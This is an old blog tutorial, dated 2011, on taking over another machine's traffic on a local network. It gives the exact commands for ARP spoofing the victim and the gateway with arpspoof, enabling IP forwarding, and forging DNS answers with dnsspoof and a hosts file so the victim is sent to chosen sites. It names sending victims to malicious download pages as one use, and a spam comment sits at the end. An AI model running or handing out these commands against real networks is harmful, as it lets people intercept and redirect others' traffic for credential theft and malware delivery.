Nov 8, 2011

[Tutorial] Directing All Requests From A Machine In LAN To Another Address.

Tools Used:

1) Backtrack 5 R1
2) Dsniff Package (Pre-Installed in BT5)
3) Arpspoof and Dnsspoof (Tools Included In Dsniff Package)

Principle Used:

It uses a simple principle. Since we are in the same network (LAN), we spoof the request and replies of our victim and the gateway by making them send all requests through our machine and forging the replies.

Victim's IP: 192.168.11.8
Gateway IP (router ip): 192.168.11.1
Our IP: 192.168.11.7

Normal Condition:

Victim<------------->Router/Gateway

Compromised Condition:

Victim<---------->Attacker<--------->Router/Gateway

Thus, everyting can be compromised, which can be used for both good results as well as bad, which we will discuss later.


Attack method:

1) First, we need to ip forward so that we do not DOS the network.

echo 1 > /proc/sys/net/ipv4/ip_forward

2) Secondly, we use arpspoof on victim and gateway which will make the victim think we are gateway and vice-versa.

arpspoof -t 192.168.11.8 192.168.11.1
arpspoof -t 192.168.11.1 192.168.11.8


After this attack we becomd the ManInTheMiddle. We can do almost anything we want, not only spoof addresses. :D

3) We need to create a simple text file with addresses that we want to redirect. 74.125.235.52 is ip addr of google.com.

eg:
74.125.235.52 www.yahoo.com
(This will redirect all yahoo.com request to google.com)
74.125.235.52 *
(This will redirect all the addresses to google.com)

4) Execute the dnsspoof command to forge the requests and replies:

dnsspoof -i wlan1 -f hostfile host 192.168.11.8 and udp port 53


*hostfile is the file we created on step 3.
**wlan1 is my network interface, it may differ.


Now all the requests from the victim will be forged and he will be redirected to the addresses we have setup.

Uses and Misuses of dnsspoofing:

1) It can be used by people to prevent others in their lan from accessing certain sites (porn,social sites, voilent sites etc.)

2) Can be used to play pranks on friends..

3) It can be used by Hacker's to redirect their victim's to some malicious sites and force them to download/execute/click on whatever stuffs they have uploaded there which can be used to exploit the victim.










1 comment:

  1. Awesome things here. I am very glad to peer your article.
    Thank you so much and I'm having a look forward to contact you. Will you kindly drop me a e-mail?
    Also visit my site ; proxies

    ReplyDelete